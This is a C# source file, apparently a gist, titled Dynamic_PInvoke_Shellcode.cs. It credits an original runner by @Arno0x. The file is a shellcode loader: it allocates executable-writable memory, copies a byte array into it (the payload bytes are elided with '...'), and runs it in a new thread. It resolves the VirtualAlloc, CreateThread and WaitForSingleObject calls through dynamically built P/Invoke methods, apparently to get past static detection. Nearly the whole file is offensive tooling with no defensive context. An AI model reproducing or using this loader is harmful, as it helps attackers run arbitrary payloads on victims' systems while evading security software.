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Dynamic_PInvoke_Shellcode.cs
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//original runner by @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs | |
using System; | |
using System.Runtime.InteropServices; | |
using System.Reflection; | |
using System.Reflection.Emit; | |
namespace ShellcodeLoader | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
byte[] x64shellcode = new byte[294] {0xfc,0x48, ... }; | |
IntPtr funcAddr = VirtualAlloc( | |
IntPtr.Zero, | |
(uint)x64shellcode.Length, | |
(uint)StateEnum.MEM_COMMIT, | |
(uint)Protection.PAGE_EXECUTE_READWRITE); | |
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length); | |
IntPtr hThread = IntPtr.Zero; | |
uint threadId = 0; | |
IntPtr pinfo = IntPtr.Zero; | |
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
WaitForSingleObject(hThread, 0xFFFFFFFF); | |
return; | |
} | |
public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) | |
{ | |
AssemblyName assemblyName = new AssemblyName("Temp01"); | |
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); | |
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02"); | |
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi); | |
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig); | |
moduleBuilder.CreateGlobalFunctions(); | |
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method); | |
object res = dynamicMethod.Invoke(null, args); | |
return res; | |
} | |
public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect) | |
{ | |
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32) }; | |
Object[] args = { lpAddress, dwSize, flAllocationType, flProtect }; | |
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes); | |
return (IntPtr)res; | |
} | |
public static IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId) | |
{ | |
Type[] paramTypes = { typeof(UInt32), typeof(UInt32), typeof(IntPtr), typeof(IntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType() }; | |
Object[] args = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId }; | |
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "CreateThread", args, paramTypes); | |
return (IntPtr)res; | |
} | |
public static Int32 WaitForSingleObject(IntPtr Handle, UInt32 Wait) | |
{ | |
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32) }; | |
Object[] args = { Handle, Wait }; | |
object res = DynamicPInvokeBuilder(typeof(Int32), "Kernel32.dll", "WaitForSingleObject", args, paramTypes); | |
return (Int32)res; | |
} | |
public enum StateEnum | |
{ | |
MEM_COMMIT = 0x1000, | |
MEM_RESERVE = 0x2000, | |
MEM_FREE = 0x10000 | |
} | |
public enum Protection | |
{ | |
PAGE_READONLY = 0x02, | |
PAGE_READWRITE = 0x04, | |
PAGE_EXECUTE = 0x10, | |
PAGE_EXECUTE_READ = 0x20, | |
PAGE_EXECUTE_READWRITE = 0x40, | |
} | |
} | |
} |
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